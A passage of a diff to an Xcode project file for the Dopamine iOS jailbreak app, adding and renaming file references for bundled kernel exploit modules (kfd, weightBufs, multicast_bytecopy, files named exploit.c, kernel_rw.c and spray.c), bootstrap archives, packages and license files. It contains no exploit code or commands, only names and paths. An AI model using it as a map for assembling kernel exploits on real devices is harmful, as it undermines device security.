"sourcecode.text-based-dylib-definition"; name = libcompression.tbd; path = usr/lib/libcompression.tbd; sourceTree = SDKROOT; }; 8C029F672B4E31D50071DE58 /* libMobileGestalt.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libMobileGestalt.tbd; path = usr/lib/libMobileGestalt.tbd; sourceTree = SDKROOT; }; 8C029F6A2B4E320E0071DE58 /* libz.tbd */ = {isa = PBXFileReference; lastKnownFileType = "sourcecode.text-based-dylib-definition"; name = libz.tbd; path = usr/lib/libz.tbd; sourceTree = SDKROOT; }; @@ -225,6 +393,8 @@ 8C05B0132B6315DB001A7CF3 /* badRecovery.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = badRecovery.m; sourceTree = ""; }; 8C05B0162B6319D7001A7CF3 /* badRecovery.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = badRecovery.h; sourceTree = ""; }; 8C05B0172B632925001A7CF3 /* badRecovery.s */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.asm; path = badRecovery.s; sourceTree = ""; }; + 8C05C59D2B759F8A0097A931 /* bootstrap_1900.tar.zst */ = {isa = PBXFileReference; lastKnownFileType = file; path = bootstrap_1900.tar.zst; sourceTree = ""; }; + 8C05C59E2B759F8A0097A931 /* bootstrap_1800.tar.zst */ = {isa = PBXFileReference; lastKnownFileType = file; path = bootstrap_1800.tar.zst; sourceTree = ""; }; 8C1FC8422B6460FD00282536 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 8C2131782B50CA4B008E682C /* krkw.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = krkw.h; sourceTree = ""; }; 8C21317B2B50CA4B008E682C /* kread_sem_open.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kread_sem_open.h; sourceTree = ""; }; @@ -244,6 +414,10 @@ 8C21318E2B50CA4B008E682C /* perf.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = perf.h; sourceTree = ""; }; 8C21318F2B50CA4B008E682C /* info.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = info.h; sourceTree = ""; }; 8C2131902B50CA4B008E682C /* libkfd.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = libkfd.h; sourceTree = ""; }; + 8C2875202BD850B4008B24DA /* LICENSE_libgrabkernel2.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; path = LICENSE_libgrabkernel2.md; sourceTree = ""; }; + 8C296BAA2BE049E4007C2AD1 /* DOPSExploitListItemsController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DOPSExploitListItemsController.h; sourceTree = ""; }; + 8C296BAB2BE049E4007C2AD1 /* DOPSExploitListItemsController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DOPSExploitListItemsController.m; sourceTree = ""; }; + 8C296BAD2BE05914007C2AD1 /* LICENSE_plooshinit.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; path = LICENSE_plooshinit.md; sourceTree = ""; }; 8C2B1FC72B52FB56009BA166 /* Info.plist */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 8C2B1FDF2B532374009BA166 /* dmaFail.framework */ = {isa = PBXFileReference; explicitFileType = wrapper.framework; includeInIndex = 0; path = dmaFail.framework; sourceTree = BUILT_PRODUCTS_DIR; }; 8C2B1FEF2B5324DE009BA166 /* dmaFail.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = dmaFail.h; sourceTree = ""; }; @@ -252,41 +426,121 @@ 8C46D71E2B588875002899DB /* zstd.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = zstd.h; sourceTree = ""; }; 8C46D71F2B588875002899DB /* zstd_errors.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = zstd_errors.h; sourceTree = ""; }; 8C46D7202B588875002899DB /* zdict.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = zdict.h; sourceTree = ""; }; - 8C46D7262B58A029002899DB /* tar.dylib */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.dylib"; name = tar.dylib; path = Dopamine/Dependencies/tar.dylib; sourceTree = ""; }; - 8C4ABEBC2B52274300B43C9B /* PreferenceManager.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = PreferenceManager.h; sourceTree = ""; }; - 8C4ABEBD2B52274300B43C9B /* PreferenceManager.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = PreferenceManager.m; sourceTree = ""; }; - 8C512B8A2B5C9DE800C6F14A /* libjbdrw.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = libjbdrw.deb; sourceTree = ""; }; + 8C4ABEBC2B52274300B43C9B /* DOPreferenceManager.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DOPreferenceManager.h; sourceTree = ""; }; + 8C4ABEBD2B52274300B43C9B /* DOPreferenceManager.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DOPreferenceManager.m; sourceTree = ""; }; 8C512B8B2B5C9DE800C6F14A /* sileo.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = sileo.deb; sourceTree = ""; }; 8C512B8C2B5C9DE800C6F14A /* zebra.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; path = zebra.deb; sourceTree = ""; }; + 8C56D4B82B7C0DF2001C03D3 /* LICENSE_ChOma.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; path = LICENSE_ChOma.md; sourceTree = ""; }; + 8C56D4B92B7C0DF2001C03D3 /* LICENSE_Fugu15_Rootful.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; path = LICENSE_Fugu15_Rootful.md; sourceTree = ""; }; + 8C56D4BA2B7C0DF2001C03D3 /* LICENSE_dimentio.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; path = LICENSE_dimentio.md; sourceTree = ""; }; + 8C56D4BB2B7C0DF2001C03D3 /* LICENSE_Fugu15.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; path = LICENSE_Fugu15.md; sourceTree = ""; }; + 8C56D4BC2B7C0DF2001C03D3 /* LICENSE_ElleKit.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; path = LICENSE_ElleKit.md; sourceTree = ""; }; + 8C56D4BD2B7C0DF2001C03D3 /* LICENSE_XPF.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; path = LICENSE_XPF.md; sourceTree = ""; }; + 8C56D4BE2B7C0DF2001C03D3 /* LICENSE_opainject.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; path = LICENSE_opainject.md; sourceTree = ""; }; + 8C56D4C62B7C102B001C03D3 /* LICENSE_Sileo.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; path = LICENSE_Sileo.md; sourceTree = ""; }; + 8C56D4C72B7C102B001C03D3 /* LICENSE_Procursus.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; path = LICENSE_Procursus.md; sourceTree = ""; }; + 8C56D4C82B7C102B001C03D3 /* LICENSE_Zebra.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; path = LICENSE_Zebra.md; sourceTree = ""; }; + 8C56D4CC2B7C118B001C03D3 /* LICENSE_kfd.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; path = LICENSE_kfd.md; sourceTree = ""; }; + 8C58E5582B7EAF8000E3ADAA /* CoreServices.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreServices.framework; path = System/Library/Frameworks/CoreServices.framework; sourceTree = SDKROOT; }; + 8C5FA8D42BDD36B6008C246F /* weightBufs.framework */ = {isa = PBXFileReference; explicitFileType = wrapper.framework; includeInIndex = 0; path = weightBufs.framework; sourceTree = BUILT_PRODUCTS_DIR; }; + 8C5FA8D62BDD36B6008C246F /* weightBufs.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = weightBufs.h; sourceTree = ""; }; + 8C5FA8E42BDD36BF008C246F /* multicast_bytecopy.framework */ = {isa = PBXFileReference; explicitFileType = wrapper.framework; includeInIndex = 0; path = multicast_bytecopy.framework; sourceTree = BUILT_PRODUCTS_DIR; }; + 8C5FA8E62BDD36BF008C246F /* multicast_bytecopy.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = multicast_bytecopy.h; sourceTree = ""; }; + 8C5FA8EF2BDD36F9008C246F /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist; path = Info.plist; sourceTree = ""; }; + 8C5FA8F02BDD3700008C246F /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; + 8C5FA8F12BDD439A008C246F /* weightBufs.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = weightBufs.m; sourceTree = ""; }; + 8C5FA8F32BDD43A9008C246F /* multicast_bytecopy.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = multicast_bytecopy.m; sourceTree = ""; }; + 8C5FA8F82BDD47D4008C246F /* iokit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = iokit.h; sourceTree = ""; }; + 8C5FA8F92BDD47D4008C246F /* model_tmp.hwx */ = {isa = PBXFileReference; lastKnownFileType = file; path = model_tmp.hwx; sourceTree = ""; }; + 8C5FA8FA2BDD47D4008C246F /* _ANEClient.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = _ANEClient.h; sourceTree = ""; }; + 8C5FA8FB2BDD47D4008C246F /* _ANECloneHelper.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = _ANECloneHelper.h; sourceTree = ""; }; + 8C5FA8FC2BDD47D4008C246F /* _ANEDaemonConnection.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = _ANEDaemonConnection.h; sourceTree = ""; }; + 8C5FA8FD2BDD47D4008C246F /* _ANEDaemonProtocol.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = _ANEDaemonProtocol.h; sourceTree = ""; }; + 8C5FA8FE2BDD47D4008C246F /* _ANEDataReporter.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = _ANEDataReporter.h; sourceTree = ""; }; + 8C5FA8FF2BDD47D4008C246F /* _ANEDeviceController.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = _ANEDeviceController.h; sourceTree = ""; }; + 8C5FA9002BDD47D4008C246F /* _ANEDeviceInfo.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = _ANEDeviceInfo.h; sourceTree = ""; }; + 8C5FA9012BDD47D4008C246F /* _ANEErrors.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = _ANEErrors.h; sourceTree = ""; }; + 8C5FA9022BDD47D4008C246F /* _ANEHashEncoding.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = _ANEHashEncoding.h; sourceTree = ""; }; + 8C5FA9032BDD47D4008C246F /* _ANEIOSurfaceObject.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = _ANEIOSurfaceObject.h; sourceTree = ""; }; + 8C5FA9042BDD47D4008C246F /* _ANELog.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = _ANELog.h; sourceTree = ""; }; + 8C5FA9052BDD47D4008C246F /* _ANEModel.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = _ANEModel.h; sourceTree = ""; }; + 8C5FA9062BDD47D4008C246F /* _ANEPerformanceStats.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = _ANEPerformanceStats.h; sourceTree = ""; }; + 8C5FA9072BDD47D4008C246F /* _ANEProgramForEvaluation.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = _ANEProgramForEvaluation.h; sourceTree = ""; }; + 8C5FA9082BDD47D4008C246F /* _ANEQoSMapper.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = _ANEQoSMapper.h; sourceTree = ""; }; + 8C5FA9092BDD47D4008C246F /* _ANERequest.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = _ANERequest.h; sourceTree = ""; }; + 8C5FA90A2BDD47D4008C246F /* _ANEStrings.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = _ANEStrings.h; sourceTree = ""; }; + 8C5FA90B2BDD47D4008C246F /* AppleNeuralEngine-Structs.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = "AppleNeuralEngine-Structs.h"; sourceTree = ""; }; + 8C5FA90C2BDD47D4008C246F /* AppleNeuralEngine.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = AppleNeuralEngine.h; sourceTree = ""; }; + 8C5FA90D2BDD47D4008C246F /* NSCopying.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = NSCopying.h; sourceTree = ""; }; + 8C5FA90E2BDD47D4008C246F /* NSSecureCoding.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = NSSecureCoding.h; sourceTree = ""; }; + 8C5FA9102BDD47D4008C246F /* aneProgram.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = aneProgram.h; sourceTree = ""; }; + 8C5FA9112BDD47D4008C246F /* IOSurface.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOSurface.c; sourceTree = ""; }; + 8C5FA9122BDD47D4008C246F /* exploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = exploit.h; sourceTree = ""; }; + 8C5FA9132BDD47D4008C246F /* ANEDirectIn.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = ANEDirectIn.h; sourceTree = ""; }; + 8C5FA9142BDD47D4008C246F /* exploit.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = exploit.m; sourceTree = ""; }; + 8C5FA9152BDD47D4008C246F /* ANEDirectIn.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = ANEDirectIn.c; sourceTree = ""; }; + 8C5FA9162BDD47D4008C246F /* IOGPU.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOGPU.c; sourceTree = ""; }; + 8C5FA9172BDD47D5008C246F /* utils.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = utils.c; sourceTree = ""; }; + 8C5FA9182BDD47D5008C246F /* IOSurface.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOSurface.h; sourceTree = ""; }; + 8C5FA9192BDD47D5008C246F /* IOGPU.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOGPU.h; sourceTree = ""; }; + 8C5FA93F2BDD5039008C246F /* IOKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = IOKit.framework; path = Platforms/MacOSX.platform/Developer/SDKs/MacOSX14.4.sdk/System/Library/Frameworks/IOKit.framework; sourceTree = DEVELOPER_DIR; }; + 8C5FA9412BDD503D008C246F /* IOSurface.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = IOSurface.framework; path = Platforms/MacOSX.platform/Developer/SDKs/MacOSX14.4.sdk/System/Library/Frameworks/IOSurface.framework; sourceTree = DEVELOPER_DIR; }; + 8C5FA9432BDD5062008C246F /* CoreML.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = CoreML.framework; path = Platforms/MacOSX.platform/Developer/SDKs/MacOSX14.4.sdk/System/Library/Frameworks/CoreML.framework; sourceTree = DEVELOPER_DIR; }; + 8C5FA9462BDD6C0B008C246F /* IOSurfaceRoot.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOSurfaceRoot.c; sourceTree = ""; }; + 8C5FA9472BDD6C0B008C246F /* mcast.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = mcast.h; sourceTree = ""; }; + 8C5FA9482BDD6C0B008C246F /* necp.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = necp.h; sourceTree = ""; }; + 8C5FA9492BDD6C0B008C246F /* port_utils.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = port_utils.c; sourceTree = ""; }; + 8C5FA94A2BDD6C0B008C246F /* IOSurfaceRoot.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOSurfaceRoot.h; sourceTree = ""; }; + 8C5FA94B2BDD6C0B008C246F /* necp.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = necp.c; sourceTree = ""; }; + 8C5FA94C2BDD6C0B008C246F /* port_utils.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = port_utils.h; sourceTree = ""; }; + 8C5FA94D2BDD6C0B008C246F /* kernel_base.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_base.c; sourceTree = ""; }; + 8C5FA94E2BDD6C0B008C246F /* IOGPU.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = IOGPU.h; sourceTree = ""; }; + 8C5FA94F2BDD6C0B008C246F /* iokit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = iokit.h; sourceTree = ""; }; + 8C5FA9502BDD6C0B008C246F /* spray.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = spray.h; sourceTree = ""; }; + 8C5FA9512BDD6C0B008C246F /* exploit.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = exploit.c; sourceTree = ""; }; + 8C5FA9522BDD6C0C008C246F /* mcast.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = mcast.c; sourceTree = ""; }; + 8C5FA9532BDD6C0C008C246F /* kernel_rw.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = kernel_rw.c; sourceTree = ""; }; + 8C5FA9542BDD6C0C008C246F /* IOGPU.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = IOGPU.c; sourceTree = ""; }; + 8C5FA9552BDD6C0C008C246F /* spray.c */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.c; path = spray.c; sourceTree = ""; }; + 8C5FA9562BDD6C0C008C246F /* xpaci.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = xpaci.h; sourceTree = ""; }; + 8C5FA9572BDD6C0C008C246F /* kernel_base.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_base.h; sourceTree = ""; }; + 8C5FA9582BDD6C0C008C246F /* kernel_rw.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = kernel_rw.h; sourceTree = ""; }; + 8C5FA9592BDD6C0C008C246F /* exploit.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = exploit.h; sourceTree = ""; }; + 8C5FA9702BDD81EF008C246F /* LICENSE_weightBufs.md */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = net.daringfireball.markdown; path = LICENSE_weightBufs.md; sourceTree = ""; }; + 8C609C992C19AC250023DD12 /* libkrw-dopamine.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = "libkrw-dopamine.deb"; path = "../../../Packages/libkrw-provider/libkrw-dopamine.deb"; sourceTree = ""; }; + 8C609C9C2C19AECF0023DD12 /* NSString+Version.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = "NSString+Version.m"; sourceTree = ""; }; + 8C609C9D2C19AEE70023DD12 /* NSString+Version.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "NSString+Version.h"; sourceTree = ""; }; + 8C6599DA2C555A60000FF57F /* DOPSJetsamListItemsController.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DOPSJetsamListItemsController.m; sourceTree = ""; }; + 8C6599DC2C555A71000FF57F /* DOPSJetsamListItemsController.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DOPSJetsamListItemsController.h; sourceTree = ""; }; 8C7198152ABF0E82003C6658 /* Dopamine.app */ = {isa = PBXFileReference; explicitFileType = wrapper.application; includeInIndex = 0; path = Dopamine.app; sourceTree = BUILT_PRODUCTS_DIR; }; - 8C7198182ABF0E82003C6658 /* AppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = AppDelegate.h; sourceTree = ""; }; - 8C7198192ABF0E82003C6658 /* AppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = AppDelegate.m; sourceTree = ""; }; - 8C71981B2ABF0E82003C6658 /* SceneDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = SceneDelegate.h; sourceTree = ""; }; - 8C71981C2ABF0E82003C6658 /* SceneDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = SceneDelegate.m; sourceTree = ""; }; + 8C7198182ABF0E82003C6658 /* DOAppDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DOAppDelegate.h; sourceTree = ""; }; + 8C7198192ABF0E82003C6658 /* DOAppDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DOAppDelegate.m; sourceTree = ""; }; + 8C71981B2ABF0E82003C6658 /* DOSceneDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = DOSceneDelegate.h; sourceTree = ""; }; + 8C71981C2ABF0E82003C6658 /* DOSceneDelegate.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = DOSceneDelegate.m; sourceTree = ""; }; 8C7198242ABF0E84003C6658 /* Assets.xcassets */ = {isa = PBXFileReference; lastKnownFileType = folder.assetcatalog; path = Assets.xcassets; sourceTree = ""; }; 8C7198272ABF0E84003C6658 /* Base */ = {isa = PBXFileReference; lastKnownFileType = file.storyboard; name = Base; path = Base.lproj/LaunchScreen.storyboard; sourceTree = ""; }; 8C7198292ABF0E84003C6658 /* Info.plist */ = {isa = PBXFileReference; lastKnownFileType = text.plist.xml; path = Info.plist; sourceTree = ""; }; 8C71982A2ABF0E84003C6658 /* main.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = main.m; sourceTree = ""; }; 8C9E46272ACA1C8D00B5456A /* UIImage+Blur.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "UIImage+Blur.h"; sourceTree = ""; }; 8C9E46282ACA1CC700B5456A /* UIImage+Blur.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = "UIImage+Blur.m"; sourceTree = ""; }; - 8CB2E7622AD1788F000A6B90 /* ActionMenuView.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ActionMenuView.h; sourceTree = ""; }; - 8CB2E7632AD1788F000A6B90 /* ActionMenuView.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = ActionMenuView.m; sourceTree = ""; }; - 8CB2E7652AD179F9000A6B90 /* ActionMenuDelegate.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = ActionMenuDelegate.h; sourceTree = ""; }; 8CB94F022B59E17A0098BAFD /* basebin.tc */ = {isa = PBXFileReference; lastKnownFileType = file; name = basebin.tc; path = ../../../BaseBin/basebin.tc; sourceTree = ""; }; 8CB94F032B59E17A0098BAFD /* basebin.tar */ = {isa = PBXFileReference; lastKnownFileType = archive.tar; name = basebin.tar; path = ../../../BaseBin/basebin.tar; sourceTree = ""; }; + 8CBF1A482EC3B71700EB2308 /* UIImage+JPEG2000.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = "UIImage+JPEG2000.h"; sourceTree = ""; }; + 8CBF1A492EC3B71700EB2308 /* UIImage+JPEG2000.m */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.objc; path = "UIImage+JPEG2000.m"; sourceTree = ""; }; 8CC139802B53DE6C00230143 /* NSData+Hex.h */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.h; path = "NSData+Hex.h"; sourceTree = ""; }; 8CC139812B53DE6C00230143 /* NSData+Hex.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = "NSData+Hex.m"; sourceTree = ""; }; + 8CCD2FC32B77AA9200F9C5DA /* basebin-link.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = "basebin-link.deb"; path = "../../../Packages/basebin-link/basebin-link.deb"; sourceTree = ""; }; + 8CCD8A832B6F165A004B72B0 /* libroot.deb */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libroot.deb; path = ../../../Packages/libroot/libroot.deb; sourceTree = ""; }; 8CDD07A72B4F619000A32B61 /* kfd.framework */ = {isa = PBXFileReference; explicitFileType = wrapper.framework; includeInIndex = 0; path = kfd.framework; sourceTree = BUILT_PRODUCTS_DIR; }; 8CDD07A92B4F619000A32B61 /* kfd.h */ = {isa = PBXFileReference; lastKnownFileType = sourcecode.c.h; path = kfd.h; sourceTree = ""; }; 8CDD07B32B4F639100A32B61 /* kfd.m */ = {isa = PBXFileReference; fileEncoding = 4; lastKnownFileType = sourcecode.c.objc; path = kfd.m; sourceTree = ""; }; 8CDD08352B4F682000A32B61 /* IOSurface.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = IOSurface.framework; path = Platforms/MacOSX.platform/Developer/SDKs/MacOSX14.2.sdk/System/Library/Frameworks/IOSurface.framework; sourceTree = DEVELOPER_DIR; }; 8CDD08372B4F682500A32B61 /* IOKit.framework */ = {isa = PBXFileReference; lastKnownFileType = wrapper.framework; name = IOKit.framework; path = Platforms/MacOSX.platform/Developer/SDKs/MacOSX14.2.sdk/System/Library/Frameworks/IOKit.framework; sourceTree = DEVELOPER_DIR; }; - 8CDD08392B4F6D8200A32B61 /* libcurl.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libcurl.a; path = Dopamine/Dependencies/libcurl.a; sourceTree = ""; }; - 8CDD083A2B4F6D8200A32B61 /* libfragmentzip.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libfragmentzip.a; path = Dopamine/Dependencies/libfragmentzip.a; sourceTree = ""; }; - 8CDD083B2B4F6D8200A32B61 /* libgrabkernel.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libgrabkernel.a; path = Dopamine/Dependencies/libgrabkernel.a; sourceTree = ""; }; + 8CDD083B2B4F6D8200A32B61 /* libgrabkernel2.a */ = {isa = PBXFileReference; lastKnownFileType = archive.ar; name = libgrabkernel2.a; path = Dopamine/Dependencies/libgrabkernel2.a; sourceTree = ""; }; 8CDD08422B4F6DD800A32B61 /* libjailbreak.dylib */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.dylib"; name = libjailbreak.dylib; path = ../BaseBin/.build/libjailbreak.dylib; sourceTree = ""; }; 8CDD08432B4F6DD800A32B61 /* libchoma.dylib */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.dylib"; name = libchoma.dylib; path = ../BaseBin/.build/libchoma.dylib; sourceTree = ""; }; 8CDD08442B4F6DD800A32B61 /* libxpf.dylib */ = {isa = PBXFileReference; lastKnownFileType = "compiled.mach-o.dylib"; name = libxpf.dylib; path = ../BaseBin/.build/libxpf.dylib; sourceTree = ""; }; + C075B0CB2B8F2BCE009A26BB /* th */ = {isa = PBXFileReference; lastKnownFileType = text.plist.strings; name = th; path = th.lproj/Localizable.strings; sourceTree = ""; }; /* End PBXFileReference section */ /* Begin PBXFrameworksBuildPhase section */ @@ -306,6 +560,27 @@ ); runOnlyForDeploymentPostprocessing = 0; }; + 